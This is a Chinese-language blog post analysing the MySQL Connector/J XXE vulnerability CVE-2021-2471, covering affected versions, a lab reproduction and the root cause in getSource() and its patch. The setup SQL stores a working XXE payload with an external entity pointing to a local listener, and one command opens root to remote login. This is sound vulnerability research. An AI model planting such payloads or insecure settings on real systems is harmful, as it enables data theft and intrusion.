type
Post
status
Published
date
Dec 12, 2022
slug
summary
tags
漏洞
业务安全
category
漏洞分析
icon
password
Property
Feb 9, 2023 07:24 AM
漏洞描述
Oracle MySQL是美国甲骨文(Oracle)公司的一套开源的关系数据库管理系统。

Oracle MySQL 的 MySQL Connectors 产品中存在输入验证错误漏洞,该漏洞允许高特权攻击者通过多种协议访问网络来破坏 MySQL 连接器。成功攻击此漏洞会导致对关键数据的未授权访问或对所有 MySQL 连接器可访问数据的完全访问,以及导致 MySQL 连接器挂起或频繁重复崩溃。
影响版本
目前大致范围:MySQL < 8.0.27
环境搭建
首先安装mysql8,参考:https://www.cnblogs.com/xiaozhounandu/p/14497835.html

创建数据库、数据表,并设置了特殊的字段属性和字段内容。因为是在ubuntu靶机开启的nc,所以表中内容为xxe外部连接本地的7777端口
create database test; create table tb_test (id bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT '主键id',message text COMMENT 'SQLXML',PRIMARY KEY (`id`)); insert into tb_test(message) value('<?xml version="1.0" ?><!DOCTYPE note [ <!ENTITY % remote SYSTEM "http://127.0.0.1:7777"> %remote; ]>');
为mysql设置外部可访问配置,开启远程连接具体可参考:https://blog.csdn.net/weixin_36586564/article/details/79563875
use mysql; update user set host = ‘%’ where user =’root’; flush privileges;
漏洞复现
接下来在idea中起个poc,poc项目地址:https://github.com/cckuailong/CVE-2021-2471当pom拉取maven不可行的时候,大多数是因为拉去mysql-connector驱动依赖包的问题,可从这里下载并加载进lib中:https://mvnrepository.com/artifact/mysql/mysql-connector-java/8.0.26
配置好要jdbc连接的地址和数据库账号密码

经过多次试验终于拿下!

漏洞成因
该漏洞利用起来比较鸡肋,数据表中需要配置字段相应的xml字段类型且字段内容中存在恶意外部xxe请求payload
根据利用poc中,可以看到存在
getSource()
方法未对传入的XML数据做校验,导致攻击者可以在XML数据中引入外部实体造成XXE攻击。进入getSource方法,简单做了判断,当是DOMSource类型时,则使用
DocumentBuilder
对XML数据做解析
这一步没有做任何安全相关的校验和判断,直接实例化对象,从而可以在XML中引入外部实体,造成XXE攻击

看到补丁在MySQL JDBC 8.0.27版本开始设置了安全属性在对象实例化之前做了校验

参考链接
Report a H2-Database-Engine SQLXML XXE vulnerability
Updated Dec 21, 2021
- Author:w1nk1
- URL:https://notion-w1nk1.vercel.app//article/79ec9d62-2ac0-4691-9a6a-7d271aa282eb
- Copyright:All articles in this blog, except for special statements, adopt BY-NC-SA agreement. Please indicate the source!
Relate Posts